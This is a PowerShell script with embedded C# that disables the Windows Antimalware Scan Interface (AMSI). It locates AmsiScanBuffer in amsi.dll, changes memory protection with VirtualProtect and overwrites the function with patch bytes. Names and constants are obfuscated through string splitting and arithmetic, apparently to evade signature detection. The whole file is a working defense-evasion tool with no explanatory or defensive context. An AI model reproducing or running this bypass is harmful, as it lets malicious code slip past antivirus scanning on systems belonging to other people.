$Assem = (
    "System, Version=4.0.0.0, Culture=neutral, PublickeyToken=b77a5c561934e089",
    "System.Runtime.InteropServices, Version=4.0.0.0, Culture=neutral, PublickeyToken=b03f5f7f11d50a3a"
)

$Source = @"
using System;
using System.Runtime.InteropServices;

namespace Bypass
{
    public class AMSI
    {
        [DllImport("kernel32")]
        public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
        [DllImport("kernel32")]
        public static extern IntPtr LoadLibrary(string name);
        [DllImport("kernel32")]
        public static extern IntPtr VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpfloldProtect);

        [DllImport("kernel32.dll", EntryPoint = "RtlMoveMemory", SetLastError = false)]
        static extern void MoveMemory(IntPtr dest, IntPtr src, int size);
        public static int Disable()
        {
            IntPtr  TargetDLL = LoadLibrary("amsi.dll");
            IntPtr ASBPtr  = GetProcAddress(TargetDLL, "Amsi" + "Scan" + "Buffer");
            UIntPtr dwSize = (UIntPtr)(10 + 10) - 10;
            uint Zero = (12 + 12) - 24;
            VirtualProtect(ASBPtr, dwSize, (64 + 64) - 64, out Zero);
            //Byte[] Patch = { 187, 82, 1, 6, 128, 190 };
            Byte[] Patch = new byte [6];
            Patch[0] = 187;
            Patch[1] = 82;
            Patch[2] = 1;
            Patch[3] = 6;
            Patch[4] = 128;
            Patch[5] = 190;
            IntPtr unmanagedPointer = Marshal.AllocHGlobal(6);
            Marshal.Copy(new byte[] { Patch[0],Patch[1],Patch[2],Patch[3],Patch[4],Patch[5]}, 0, unmanagedPointer, 6);
            MoveMemory(ASBPtr, unmanagedPointer, 6);
            return 0;
        }

    }
}


"@

add-Type -ReferencedAssemblies $Assem -TypeDefinition $Source -Language CSharp